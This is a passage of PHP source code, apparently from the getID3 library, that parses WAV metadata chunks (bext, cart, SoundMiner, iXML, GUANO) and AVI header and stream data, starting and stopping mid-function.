(isset($thisfile_riff_WAVE['bext'][0]['data'])) { // shortcut $thisfile_riff_WAVE_bext_0 = &$thisfile_riff_WAVE['bext'][0]; $thisfile_riff_WAVE_bext_0['title'] = substr($thisfile_riff_WAVE_bext_0['data'], 0, 256); $thisfile_riff_WAVE_bext_0['author'] = substr($thisfile_riff_WAVE_bext_0['data'], 256, 32); $thisfile_riff_WAVE_bext_0['reference'] = substr($thisfile_riff_WAVE_bext_0['data'], 288, 32); foreach (array('title','author','reference') as $bext_key) { // Some software (notably Logic Pro) may not blank existing data before writing a null-terminated string to the offsets // assigned for text fields, resulting in a null-terminated string (or possibly just a single null) followed by garbage // Keep only string as far as first null byte, discard rest of fixed-width data // https://github.com/JamesHeinrich/getID3/issues/263 $null_terminator_offset = strpos($thisfile_riff_WAVE_bext_0[$bext_key], "\x00"); $thisfile_riff_WAVE_bext_0[$bext_key] = substr($thisfile_riff_WAVE_bext_0[$bext_key], 0, $null_terminator_offset); } $thisfile_riff_WAVE_bext_0['origin_date'] = substr($thisfile_riff_WAVE_bext_0['data'], 320, 10); $thisfile_riff_WAVE_bext_0['origin_time'] = substr($thisfile_riff_WAVE_bext_0['data'], 330, 8); $thisfile_riff_WAVE_bext_0['time_reference'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_bext_0['data'], 338, 8)); $thisfile_riff_WAVE_bext_0['bwf_version'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_bext_0['data'], 346, 1)); $thisfile_riff_WAVE_bext_0['reserved'] = substr($thisfile_riff_WAVE_bext_0['data'], 347, 254); $thisfile_riff_WAVE_bext_0['coding_history'] = explode("\r\n", trim(substr($thisfile_riff_WAVE_bext_0['data'], 601))); if (preg_match('#^([0-9]{4}).([0-9]{2}).([0-9]{2})$#', $thisfile_riff_WAVE_bext_0['origin_date'], $matches_bext_date)) { if (preg_match('#^([0-9]{2}).([0-9]{2}).([0-9]{2})$#', $thisfile_riff_WAVE_bext_0['origin_time'], $matches_bext_time)) { $bext_timestamp = array(); list($dummy, $bext_timestamp['year'], $bext_timestamp['month'], $bext_timestamp['day']) = $matches_bext_date; list($dummy, $bext_timestamp['hour'], $bext_timestamp['minute'], $bext_timestamp['second']) = $matches_bext_time; $thisfile_riff_WAVE_bext_0['origin_date_unix'] = gmmktime($bext_timestamp['hour'], $bext_timestamp['minute'], $bext_timestamp['second'], $bext_timestamp['month'], $bext_timestamp['day'], $bext_timestamp['year']); } else { $this->warning('RIFF.WAVE.BEXT.origin_time is invalid'); } } else { $this->warning('RIFF.WAVE.BEXT.origin_date is invalid'); } $thisfile_riff['comments']['author'][] = $thisfile_riff_WAVE_bext_0['author']; $thisfile_riff['comments']['title'][] = $thisfile_riff_WAVE_bext_0['title']; } if (isset($thisfile_riff_WAVE['MEXT'][0]['data'])) { // shortcut $thisfile_riff_WAVE_MEXT_0 = &$thisfile_riff_WAVE['MEXT'][0]; $thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 0, 2)); $thisfile_riff_WAVE_MEXT_0['flags']['homogenous'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0001); if ($thisfile_riff_WAVE_MEXT_0['flags']['homogenous']) { $thisfile_riff_WAVE_MEXT_0['flags']['padding'] = ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0002) ? false : true; $thisfile_riff_WAVE_MEXT_0['flags']['22_or_44'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0004); $thisfile_riff_WAVE_MEXT_0['flags']['free_format'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['sound_information'] & 0x0008); $thisfile_riff_WAVE_MEXT_0['nominal_frame_size'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 2, 2)); } $thisfile_riff_WAVE_MEXT_0['anciliary_data_length'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 6, 2)); $thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_MEXT_0['data'], 8, 2)); $thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_left'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0001); $thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_free'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0002); $thisfile_riff_WAVE_MEXT_0['flags']['anciliary_data_right'] = (bool) ($thisfile_riff_WAVE_MEXT_0['raw']['anciliary_data_def'] & 0x0004); } if (isset($thisfile_riff_WAVE['cart'][0]['data'])) { // shortcut $thisfile_riff_WAVE_cart_0 = &$thisfile_riff_WAVE['cart'][0]; $thisfile_riff_WAVE_cart_0['version'] = substr($thisfile_riff_WAVE_cart_0['data'], 0, 4); $thisfile_riff_WAVE_cart_0['title'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 4, 64)); $thisfile_riff_WAVE_cart_0['artist'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 68, 64)); $thisfile_riff_WAVE_cart_0['cut_id'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 132, 64)); $thisfile_riff_WAVE_cart_0['client_id'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 196, 64)); $thisfile_riff_WAVE_cart_0['category'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 260, 64)); $thisfile_riff_WAVE_cart_0['classification'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 324, 64)); $thisfile_riff_WAVE_cart_0['out_cue'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 388, 64)); $thisfile_riff_WAVE_cart_0['start_date'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 452, 10)); $thisfile_riff_WAVE_cart_0['start_time'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 462, 8)); $thisfile_riff_WAVE_cart_0['end_date'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 470, 10)); $thisfile_riff_WAVE_cart_0['end_time'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 480, 8)); $thisfile_riff_WAVE_cart_0['producer_app_id'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 488, 64)); $thisfile_riff_WAVE_cart_0['producer_app_version'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 552, 64)); $thisfile_riff_WAVE_cart_0['user_defined_text'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 616, 64)); $thisfile_riff_WAVE_cart_0['zero_db_reference'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_cart_0['data'], 680, 4), true); for ($i = 0; $i < 8; $i++) { $thisfile_riff_WAVE_cart_0['post_time'][$i]['usage_fourcc'] = substr($thisfile_riff_WAVE_cart_0['data'], 684 + ($i * 8), 4); $thisfile_riff_WAVE_cart_0['post_time'][$i]['timer_value'] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE_cart_0['data'], 684 + ($i * 8) + 4, 4)); } $thisfile_riff_WAVE_cart_0['url'] = trim(substr($thisfile_riff_WAVE_cart_0['data'], 748, 1024)); $thisfile_riff_WAVE_cart_0['tag_text'] = explode("\r\n", trim(substr($thisfile_riff_WAVE_cart_0['data'], 1772))); $thisfile_riff['comments']['tag_text'][] = substr($thisfile_riff_WAVE_cart_0['data'], 1772); $thisfile_riff['comments']['artist'][] = $thisfile_riff_WAVE_cart_0['artist']; $thisfile_riff['comments']['title'][] = $thisfile_riff_WAVE_cart_0['title']; } if (isset($thisfile_riff_WAVE['SNDM'][0]['data'])) { // SoundMiner metadata // shortcuts $thisfile_riff_WAVE_SNDM_0 = &$thisfile_riff_WAVE['SNDM'][0]; $thisfile_riff_WAVE_SNDM_0_data = &$thisfile_riff_WAVE_SNDM_0['data']; $SNDM_startoffset = 0; $SNDM_endoffset = $thisfile_riff_WAVE_SNDM_0['size']; while ($SNDM_startoffset < $SNDM_endoffset) { $SNDM_thisTagOffset = 0; $SNDM_thisTagSize = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 4)); $SNDM_thisTagOffset += 4; $SNDM_thisTagKey = substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 4); $SNDM_thisTagOffset += 4; $SNDM_thisTagDataSize = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 2)); $SNDM_thisTagOffset += 2; $SNDM_thisTagDataFlags = getid3_lib::BigEndian2Int(substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, 2)); $SNDM_thisTagOffset += 2; $SNDM_thisTagDataText = substr($thisfile_riff_WAVE_SNDM_0_data, $SNDM_startoffset + $SNDM_thisTagOffset, $SNDM_thisTagDataSize); $SNDM_thisTagOffset += $SNDM_thisTagDataSize; if ($SNDM_thisTagSize != (4 + 4 + 2 + 2 + $SNDM_thisTagDataSize)) { $this->warning('RIFF.WAVE.SNDM.data contains tag not expected length (expected: '.$SNDM_thisTagSize.', found: '.(4 + 4 + 2 + 2 + $SNDM_thisTagDataSize).') at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')'); break; } elseif ($SNDM_thisTagSize <= 0) { $this->warning('RIFF.WAVE.SNDM.data contains zero-size tag at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')'); break; } $SNDM_startoffset += $SNDM_thisTagSize; $thisfile_riff_WAVE_SNDM_0['parsed_raw'][$SNDM_thisTagKey] = $SNDM_thisTagDataText; if ($parsedkey = self::waveSNDMtagLookup($SNDM_thisTagKey)) { $thisfile_riff_WAVE_SNDM_0['parsed'][$parsedkey] = $SNDM_thisTagDataText; } else { $this->warning('RIFF.WAVE.SNDM contains unknown tag "'.$SNDM_thisTagKey.'" at offset '.$SNDM_startoffset.' (file offset '.($thisfile_riff_WAVE_SNDM_0['offset'] + $SNDM_startoffset).')'); } } $tagmapping = array( 'tracktitle'=>'title', 'category' =>'genre', 'cdtitle' =>'album', ); foreach ($tagmapping as $fromkey => $tokey) { if (isset($thisfile_riff_WAVE_SNDM_0['parsed'][$fromkey])) { $thisfile_riff['comments'][$tokey][] = $thisfile_riff_WAVE_SNDM_0['parsed'][$fromkey]; } } } if (isset($thisfile_riff_WAVE['iXML'][0]['data'])) { // requires functions simplexml_load_string and get_object_vars if ($parsedXML = getid3_lib::XML2array($thisfile_riff_WAVE['iXML'][0]['data'])) { $thisfile_riff_WAVE['iXML'][0]['parsed'] = $parsedXML; if (isset($parsedXML['SPEED']['MASTER_SPEED'])) { @list($numerator, $denominator) = explode('/', $parsedXML['SPEED']['MASTER_SPEED']); $thisfile_riff_WAVE['iXML'][0]['master_speed'] = (int) $numerator / ($denominator ? $denominator : 1000); } if (isset($parsedXML['SPEED']['TIMECODE_RATE'])) { @list($numerator, $denominator) = explode('/', $parsedXML['SPEED']['TIMECODE_RATE']); $thisfile_riff_WAVE['iXML'][0]['timecode_rate'] = (int) $numerator / ($denominator ? $denominator : 1000); } if (isset($parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_LO']) && !empty($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) && !empty($thisfile_riff_WAVE['iXML'][0]['timecode_rate'])) { $samples_since_midnight = floatval(ltrim($parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_HI'].$parsedXML['SPEED']['TIMESTAMP_SAMPLES_SINCE_MIDNIGHT_LO'], '0')); $timestamp_sample_rate = (is_array($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) ? max($parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']) : $parsedXML['SPEED']['TIMESTAMP_SAMPLE_RATE']); // XML could possibly contain more than one TIMESTAMP_SAMPLE_RATE tag, returning as array instead of integer [why? does it make sense? perhaps doesn't matter but getID3 needs to deal with it] - see https://github.com/JamesHeinrich/getID3/issues/105 $thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] = $samples_since_midnight / $timestamp_sample_rate; $h = floor( $thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] / 3600); $m = floor(($thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600)) / 60); $s = floor( $thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600) - ($m * 60)); $f = ($thisfile_riff_WAVE['iXML'][0]['timecode_seconds'] - ($h * 3600) - ($m * 60) - $s) * $thisfile_riff_WAVE['iXML'][0]['timecode_rate']; $thisfile_riff_WAVE['iXML'][0]['timecode_string'] = sprintf('%02d:%02d:%02d:%05.2f', $h, $m, $s, $f); $thisfile_riff_WAVE['iXML'][0]['timecode_string_round'] = sprintf('%02d:%02d:%02d:%02d', $h, $m, $s, round($f)); unset($samples_since_midnight, $timestamp_sample_rate, $h, $m, $s, $f); } unset($parsedXML); } } if (isset($thisfile_riff_WAVE['guan'][0]['data'])) { // shortcut $thisfile_riff_WAVE_guan_0 = &$thisfile_riff_WAVE['guan'][0]; if (!empty($thisfile_riff_WAVE_guan_0['data']) && (substr($thisfile_riff_WAVE_guan_0['data'], 0, 14) == 'GUANO|Version:')) { $thisfile_riff['guano'] = array(); foreach (explode("\n", $thisfile_riff_WAVE_guan_0['data']) as $line) { if ($line) { @list($key, $value) = explode(':', $line, 2); if (substr($value, 0, 3) == '[{"') { if ($decoded = @json_decode($value, true)) { if (!empty($decoded) && (count($decoded) == 1)) { $value = $decoded[0]; } else { $value = $decoded; } } } $thisfile_riff['guano'] = array_merge_recursive($thisfile_riff['guano'], getid3_lib::CreateDeepArray($key, '|', $value)); } } // https://www.wildlifeacoustics.com/SCHEMA/GUANO.html foreach ($thisfile_riff['guano'] as $key => $value) { switch ($key) { case 'Loc Position': if (preg_match('#^([\\+\\-]?[0-9]+\\.[0-9]+) ([\\+\\-]?[0-9]+\\.[0-9]+)$#', $value, $matches)) { list($dummy, $latitude, $longitude) = $matches; $thisfile_riff['comments']['gps_latitude'][0] = floatval($latitude); $thisfile_riff['comments']['gps_longitude'][0] = floatval($longitude); $thisfile_riff['guano'][$key] = floatval($latitude).' '.floatval($longitude); } break; case 'Loc Elevation': // Elevation/altitude above mean sea level in meters $thisfile_riff['comments']['gps_altitude'][0] = floatval($value); $thisfile_riff['guano'][$key] = (float) $value; break; case 'Filter HP': // High-pass filter frequency in kHz case 'Filter LP': // Low-pass filter frequency in kHz case 'Humidity': // Relative humidity as a percentage case 'Length': // Recording length in seconds case 'Loc Accuracy': // Estimated Position Error in meters case 'Temperature Ext': // External temperature in degrees Celsius outside the recorder's housing case 'Temperature Int': // Internal temperature in degrees Celsius inside the recorder's housing $thisfile_riff['guano'][$key] = (float) $value; break; case 'Samplerate': // Recording sample rate, Hz case 'TE': // Time-expansion factor. If not specified, then 1 (no time-expansion a.k.a. direct-recording) is assumed. $thisfile_riff['guano'][$key] = (int) $value; break; } } } else { $this->warning('RIFF.guan data not in expected format'); } } if (!isset($thisfile_audio['bitrate']) && isset($thisfile_riff_audio[$streamindex]['bitrate'])) { $thisfile_audio['bitrate'] = $thisfile_riff_audio[$streamindex]['bitrate']; $info['playtime_seconds'] = (float)getid3_lib::SafeDiv((($info['avdataend'] - $info['avdataoffset']) * 8), $thisfile_audio['bitrate']); } if (!empty($info['wavpack'])) { $thisfile_audio_dataformat = 'wavpack'; $thisfile_audio['bitrate_mode'] = 'vbr'; $thisfile_audio['encoder'] = 'WavPack v'.$info['wavpack']['version']; // Reset to the way it was - RIFF parsing will have messed this up $info['avdataend'] = $Original['avdataend']; $thisfile_audio['bitrate'] = getid3_lib::SafeDiv(($info['avdataend'] - $info['avdataoffset']) * 8, $info['playtime_seconds']); $this->fseek($info['avdataoffset'] - 44); $RIFFdata = $this->fread(44); $OrignalRIFFheaderSize = getid3_lib::LittleEndian2Int(substr($RIFFdata, 4, 4)) + 8; $OrignalRIFFdataSize = getid3_lib::LittleEndian2Int(substr($RIFFdata, 40, 4)) + 44; if ($OrignalRIFFheaderSize > $OrignalRIFFdataSize) { $info['avdataend'] -= ($OrignalRIFFheaderSize - $OrignalRIFFdataSize); $this->fseek($info['avdataend']); $RIFFdata .= $this->fread($OrignalRIFFheaderSize - $OrignalRIFFdataSize); } // move the data chunk after all other chunks (if any) // so that the RIFF parser doesn't see EOF when trying // to skip over the data chunk $RIFFdata = substr($RIFFdata, 0, 36).substr($RIFFdata, 44).substr($RIFFdata, 36, 8); $getid3_riff = new getid3_riff($this->getid3); $getid3_riff->ParseRIFFdata($RIFFdata); unset($getid3_riff); } if (isset($thisfile_riff_raw['fmt ']['wFormatTag'])) { switch ($thisfile_riff_raw['fmt ']['wFormatTag']) { case 0x0001: // PCM if (!empty($info['ac3'])) { // Dolby Digital WAV files masquerade as PCM-WAV, but they're not $thisfile_audio['wformattag'] = 0x2000; $thisfile_audio['codec'] = self::wFormatTagLookup($thisfile_audio['wformattag']); $thisfile_audio['lossless'] = false; $thisfile_audio['bitrate'] = $info['ac3']['bitrate']; $thisfile_audio['sample_rate'] = $info['ac3']['sample_rate']; } if (!empty($info['dts'])) { // Dolby DTS files masquerade as PCM-WAV, but they're not $thisfile_audio['wformattag'] = 0x2001; $thisfile_audio['codec'] = self::wFormatTagLookup($thisfile_audio['wformattag']); $thisfile_audio['lossless'] = false; $thisfile_audio['bitrate'] = $info['dts']['bitrate']; $thisfile_audio['sample_rate'] = $info['dts']['sample_rate']; } break; case 0x08AE: // ClearJump LiteWave $thisfile_audio['bitrate_mode'] = 'vbr'; $thisfile_audio_dataformat = 'litewave'; //typedef struct tagSLwFormat { // WORD m_wCompFormat; // low byte defines compression method, high byte is compression flags // DWORD m_dwScale; // scale factor for lossy compression // DWORD m_dwBlockSize; // number of samples in encoded blocks // WORD m_wQuality; // alias for the scale factor // WORD m_wMarkDistance; // distance between marks in bytes // WORD m_wReserved; // // //following paramters are ignored if CF_FILESRC is not set // DWORD m_dwOrgSize; // original file size in bytes // WORD m_bFactExists; // indicates if 'fact' chunk exists in the original file // DWORD m_dwRiffChunkSize; // riff chunk size in the original file // // PCMWAVEFORMAT m_OrgWf; // original wave format // }SLwFormat, *PSLwFormat; // shortcut $thisfile_riff['litewave']['raw'] = array(); $riff_litewave = &$thisfile_riff['litewave']; $riff_litewave_raw = &$riff_litewave['raw']; $flags = array( 'compression_method' => 1, 'compression_flags' => 1, 'm_dwScale' => 4, 'm_dwBlockSize' => 4, 'm_wQuality' => 2, 'm_wMarkDistance' => 2, 'm_wReserved' => 2, 'm_dwOrgSize' => 4, 'm_bFactExists' => 2, 'm_dwRiffChunkSize' => 4, ); $litewave_offset = 18; foreach ($flags as $flag => $length) { $riff_litewave_raw[$flag] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE['fmt '][0]['data'], $litewave_offset, $length)); $litewave_offset += $length; } //$riff_litewave['quality_factor'] = intval(round((2000 - $riff_litewave_raw['m_dwScale']) / 20)); $riff_litewave['quality_factor'] = $riff_litewave_raw['m_wQuality']; $riff_litewave['flags']['raw_source'] = ($riff_litewave_raw['compression_flags'] & 0x01) ? false : true; $riff_litewave['flags']['vbr_blocksize'] = ($riff_litewave_raw['compression_flags'] & 0x02) ? false : true; $riff_litewave['flags']['seekpoints'] = (bool) ($riff_litewave_raw['compression_flags'] & 0x04); $thisfile_audio['lossless'] = (($riff_litewave_raw['m_wQuality'] == 100) ? true : false); $thisfile_audio['encoder_options'] = '-q'.$riff_litewave['quality_factor']; break; default: break; } } if ($info['avdataend'] > $info['filesize']) { switch ($thisfile_audio_dataformat) { case 'wavpack': // WavPack case 'lpac': // LPAC case 'ofr': // OptimFROG case 'ofs': // OptimFROG DualStream // lossless compressed audio formats that keep original RIFF headers - skip warning break; case 'litewave': if (($info['avdataend'] - $info['filesize']) == 1) { // LiteWave appears to incorrectly *not* pad actual output file // to nearest WORD boundary so may appear to be short by one // byte, in which case - skip warning } else { // Short by more than one byte, throw warning $this->warning('Probably truncated file - expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)'); $info['avdataend'] = $info['filesize']; } break; default: if ((($info['avdataend'] - $info['filesize']) == 1) && (($thisfile_riff[$RIFFsubtype]['data'][0]['size'] % 2) == 0) && ((($info['filesize'] - $info['avdataoffset']) % 2) == 1)) { // output file appears to be incorrectly *not* padded to nearest WORD boundary // Output less severe warning $this->warning('File should probably be padded to nearest WORD boundary, but it is not (expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' therefore short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)'); $info['avdataend'] = $info['filesize']; } else { // Short by more than one byte, throw warning $this->warning('Probably truncated file - expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)'); $info['avdataend'] = $info['filesize']; } break; } } if (!empty($info['mpeg']['audio']['LAME']['audio_bytes'])) { if ((($info['avdataend'] - $info['avdataoffset']) - $info['mpeg']['audio']['LAME']['audio_bytes']) == 1) { $info['avdataend']--; $this->warning('Extra null byte at end of MP3 data assumed to be RIFF padding and therefore ignored'); } } if ($thisfile_audio_dataformat == 'ac3') { unset($thisfile_audio['bits_per_sample']); if (!empty($info['ac3']['bitrate']) && ($info['ac3']['bitrate'] != $thisfile_audio['bitrate'])) { $thisfile_audio['bitrate'] = $info['ac3']['bitrate']; } } break; // http://en.wikipedia.org/wiki/Audio_Video_Interleave case 'AVI ': $info['fileformat'] = 'avi'; $info['mime_type'] = 'video/avi'; $thisfile_video['bitrate_mode'] = 'vbr'; // maybe not, but probably $thisfile_video['dataformat'] = 'avi'; $thisfile_riff_video_current = array(); if (isset($thisfile_riff[$RIFFsubtype]['movi']['offset'])) { $info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['movi']['offset'] + 8; if (isset($thisfile_riff['AVIX'])) { $info['avdataend'] = $thisfile_riff['AVIX'][(count($thisfile_riff['AVIX']) - 1)]['chunks']['movi']['offset'] + $thisfile_riff['AVIX'][(count($thisfile_riff['AVIX']) - 1)]['chunks']['movi']['size']; } else { $info['avdataend'] = $thisfile_riff['AVI ']['movi']['offset'] + $thisfile_riff['AVI ']['movi']['size']; } if ($info['avdataend'] > $info['filesize']) { $this->warning('Probably truncated file - expecting '.($info['avdataend'] - $info['avdataoffset']).' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($info['avdataend'] - $info['filesize']).' bytes)'); $info['avdataend'] = $info['filesize']; } } if (isset($thisfile_riff['AVI ']['hdrl']['strl']['indx'])) { //$bIndexType = array( // 0x00 => 'AVI_INDEX_OF_INDEXES', // 0x01 => 'AVI_INDEX_OF_CHUNKS', // 0x80 => 'AVI_INDEX_IS_DATA', //); //$bIndexSubtype = array( // 0x01 => array( // 0x01 => 'AVI_INDEX_2FIELD', // ), //); foreach ($thisfile_riff['AVI ']['hdrl']['strl']['indx'] as $streamnumber => $steamdataarray) { $ahsisd = &$thisfile_riff['AVI ']['hdrl']['strl']['indx'][$streamnumber]['data']; $thisfile_riff_raw['indx'][$streamnumber]['wLongsPerEntry'] = $this->EitherEndian2Int(substr($ahsisd, 0, 2)); $thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType'] = $this->EitherEndian2Int(substr($ahsisd, 2, 1)); $thisfile_riff_raw['indx'][$streamnumber]['bIndexType'] = $this->EitherEndian2Int(substr($ahsisd, 3, 1)); $thisfile_riff_raw['indx'][$streamnumber]['nEntriesInUse'] = $this->EitherEndian2Int(substr($ahsisd, 4, 4)); $thisfile_riff_raw['indx'][$streamnumber]['dwChunkId'] = substr($ahsisd, 8, 4); $thisfile_riff_raw['indx'][$streamnumber]['dwReserved'] = $this->EitherEndian2Int(substr($ahsisd, 12, 4)); //$thisfile_riff_raw['indx'][$streamnumber]['bIndexType_name'] = $bIndexType[$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']]; //$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType_name'] = $bIndexSubtype[$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']][$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType']]; unset($ahsisd); } } if (isset($thisfile_riff['AVI ']['hdrl']['avih'][$streamindex]['data'])) { $avihData = $thisfile_riff['AVI ']['hdrl']['avih'][$streamindex]['data']; // shortcut $thisfile_riff_raw['avih'] = array(); $thisfile_riff_raw_avih = &$thisfile_riff_raw['avih']; $thisfile_riff_raw_avih['dwMicroSecPerFrame'] = $this->EitherEndian2Int(substr($avihData, 0, 4)); // frame display rate (or 0L) if ($thisfile_riff_raw_avih['dwMicroSecPerFrame'] == 0) { $this->error('Corrupt RIFF file: avih.dwMicroSecPerFrame == zero'); return false; } $flags = array( 'dwMaxBytesPerSec', // max. transfer rate 'dwPaddingGranularity', // pad to multiples of this size; normally 2K. 'dwFlags', // the ever-present flags 'dwTotalFrames', // # frames in file 'dwInitialFrames', // 'dwStreams', // 'dwSuggestedBufferSize', // 'dwWidth', // 'dwHeight', // 'dwScale', // 'dwRate', // 'dwStart', // 'dwLength', // ); $avih_offset = 4; foreach ($flags as $flag) { $thisfile_riff_raw_avih[$flag] = $this->EitherEndian2Int(substr($avihData, $avih_offset, 4)); $avih_offset += 4; } $flags = array( 'hasindex' => 0x00000010, 'mustuseindex' => 0x00000020, 'interleaved' => 0x00000100, 'trustcktype' => 0x00000800, 'capturedfile' => 0x00010000, 'copyrighted' => 0x00020010, ); foreach ($flags as $flag => $value) { $thisfile_riff_raw_avih['flags'][$flag] = (bool) ($thisfile_riff_raw_avih['dwFlags'] & $value); } // shortcut $thisfile_riff_video[$streamindex] = array(); /** @var array $thisfile_riff_video_current */ $thisfile_riff_video_current = &$thisfile_riff_video[$streamindex]; if ($thisfile_riff_raw_avih['dwWidth'] > 0) { // @phpstan-ignore-line $thisfile_riff_video_current['frame_width'] = $thisfile_riff_raw_avih['dwWidth']; $thisfile_video['resolution_x'] = $thisfile_riff_video_current['frame_width']; } if ($thisfile_riff_raw_avih['dwHeight'] > 0) { // @phpstan-ignore-line $thisfile_riff_video_current['frame_height'] = $thisfile_riff_raw_avih['dwHeight']; $thisfile_video['resolution_y'] = $thisfile_riff_video_current['frame_height']; } if ($thisfile_riff_raw_avih['dwTotalFrames'] > 0) { // @phpstan-ignore-line $thisfile_riff_video_current['total_frames'] = $thisfile_riff_raw_avih['dwTotalFrames']; $thisfile_video['total_frames'] = $thisfile_riff_video_current['total_frames']; } $thisfile_riff_video_current['frame_rate'] = round(1000000 / $thisfile_riff_raw_avih['dwMicroSecPerFrame'], 3); $thisfile_video['frame_rate'] = $thisfile_riff_video_current['frame_rate']; } if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strh'][0]['data'])) { if (is_array($thisfile_riff['AVI ']['hdrl']['strl']['strh'])) { $thisfile_riff_raw_strf_strhfccType_streamindex = null; for ($i = 0; $i < count($thisfile_riff['AVI ']['hdrl']['strl']['strh']); $i++) { if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strh'][$i]['data'])) { $strhData = $thisfile_riff['AVI ']['hdrl']['strl']['strh'][$i]['data']; $strhfccType = substr($strhData, 0, 4); if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strf'][$i]['data'])) { $strfData = $thisfile_riff['AVI ']['hdrl']['strl']['strf'][$i]['data']; if (!isset($thisfile_riff_raw['strf'][$strhfccType][$streamindex])) { $thisfile_riff_raw['strf'][$strhfccType][$streamindex] = null; } // shortcut $thisfile_riff_raw_strf_strhfccType_streamindex = &$thisfile_riff_raw['strf'][$strhfccType][$streamindex]; switch ($strhfccType) { case 'auds': $thisfile_audio['bitrate_mode'] = 'cbr'; $thisfile_audio_dataformat = 'wav'; if (isset($thisfile_riff_audio) && is_array($thisfile_riff_audio)) { $streamindex = count($thisfile_riff_audio); } $thisfile_riff_audio[$streamindex] = self::parseWAVEFORMATex($strfData); $thisfile_audio['wformattag'] = $thisfile_riff_audio[$streamindex]['raw']['wFormatTag']; // shortcut $thisfile_audio['streams'][$streamindex] = $thisfile_riff_audio[$streamindex]; $thisfile_audio_streams_currentstream = &$thisfile_audio['streams'][$streamindex]; if ($thisfile_audio_streams_currentstream['bits_per_sample'] == 0) { unset($thisfile_audio_streams_currentstream['bits_per_sample']); } $thisfile_audio_streams_currentstream['wformattag'] = $thisfile_audio_streams_currentstream['raw']['wFormatTag']; unset($thisfile_audio_streams_currentstream['raw']); // shortcut $thisfile_riff_raw['strf'][$strhfccType][$streamindex] = $thisfile_riff_audio[$streamindex]['raw']; unset($thisfile_riff_audio[$streamindex]['raw']); $thisfile_audio = getid3_lib::array_merge_noclobber($thisfile_audio, $thisfile_riff_audio[$streamindex]); $thisfile_audio['lossless'] = false; switch ($thisfile_riff_raw_strf_strhfccType_streamindex['wFormatTag']) { case 0x0001: // PCM $thisfile_audio_dataformat = 'wav'; $thisfile_audio['lossless'] = true; break; case 0x0050: // MPEG Layer 2 or Layer 1 